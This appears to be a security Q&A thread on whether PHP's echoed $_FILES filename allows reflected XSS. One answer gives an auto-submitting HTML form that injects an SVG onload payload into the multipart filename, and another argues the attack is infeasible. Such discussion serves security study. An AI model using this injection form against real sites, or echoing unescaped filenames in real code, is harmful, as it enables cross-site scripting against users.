3

Is it possible to perform a reflected XSS attack via the $_FILES variable?

The vulnerable code I am imagining might look like this:

echo $_FILES["file"]["name"];

I read that it's not possible to programmatically upload a file from a persons computer without their actual interaction (which makes sense, as that would be a giant security issue).

But is it possible to automatically submit an HTML form that PHP would interpret as file upload and thus populate the $_FILES variable, resulting in XSS?

I'm looking for solutions that work inside a browser with HTML and JavaScript and result in an actual security vulnerability. (so using curl or violating cross origin policy isn't really what I'm looking for, as that would not be exploitable).


My initial thoughts on this:

The content that is submitted for an input of type file is this:

Content-Disposition: form-data; name="fileinput"; filename="filename.php"\r\nContent-Type: application/x-php\r\n\r\nfile content\n\r\n

The content for eg input of type text is structurally different, looking like this:

Content-Disposition: form-data; name="textinput[]"\r\n\r\ntext content\r\n

I haven't yet found a way to create a HTML form that sends data of the first type via an input type different than file, and I haven't found a way to pre-populate an input field of type file.

I found this answer about sending files via JavaScript, but even though it seems like a cross origin write, I get a warning about violating the same origin policy.

2 Answers 2

1

Well! I found this question by accident and I wanted to share a piece of useful information about how this can be exploited, just in case anyone is still looking for an answer.

In brief, it IS possible to trigger reflected XSS in the piece of code you mentioned

echo $_FILES["file"]["name"];

The technique depends on using a form of multipart/form-data type and injecting the part that includes file name and type as part of field name as discussed in this article

For example

<form method="post" action="http://example.com/uploadpage" enctype="multipart/form-data">
<textarea name='file"; filename="<svg onload=alert(document.domain)>
Content-Type: text/plain; '>Arbitrary File
Contents</textarea>
<input type="submit" value='Send "File"' />
</form>
<script>document.forms[0].submit();</script>

This piece of code, exploits the reflected XSS vulnerability without any user interaction.

  • Tested on latest version of Edge, IE (✓)

  • Firefox adds a backslash before the quotes which makes the field name messed up.

  • Chrome url encode the quotes to %22 so this technique does not work.

How it works

It relies on a bug in Firefox/IE/Safari where the filenames are not escaped before being put into the POST body to set the filename parameter and content-type header.

2

This is not possible.

It is not possible to manipulate an HTML form using JavaScript as far as file upload fields go. As noted the form must be submitted as multipart/form-data and the filename needs to be submitted as part of that:

Content-Disposition: form-data; name="file"; filename="foo.exe"

The value of an input with type file is readonly in JavaScript. This is to prevent a malicious webpage from selecting a user's local file and uploading it without their knowledge.

Constructing the whole POST request in JavaScript is also not an option. This is because the response from the request will be retrieved as JavaScript data, not as a displayed page like with an HTML form. As you noted, the Same Origin Policy will prevent the response from being read anyway - but this does not matter. Even if it could be read, say if CORS is enabled, and the JavaScript renders the response as HTML - this HTML and any malicious script will be rendered in the attacker's origin - not the origin of the target site where the victim's session is required to be compromised by the attacker.

The only attack that comes to mind is setting the enctype of a HTML form to text/plain and trying to construct the

Content-Disposition: form-data; name="file"; filename="foo.exe"

line using a hidden input like this does for JSON. However, this will not enable the correct Content-Type and boundary to be included in the request header for correct parsing by PHP and will fail:

Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykjwI5NtRzEheYJYc

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .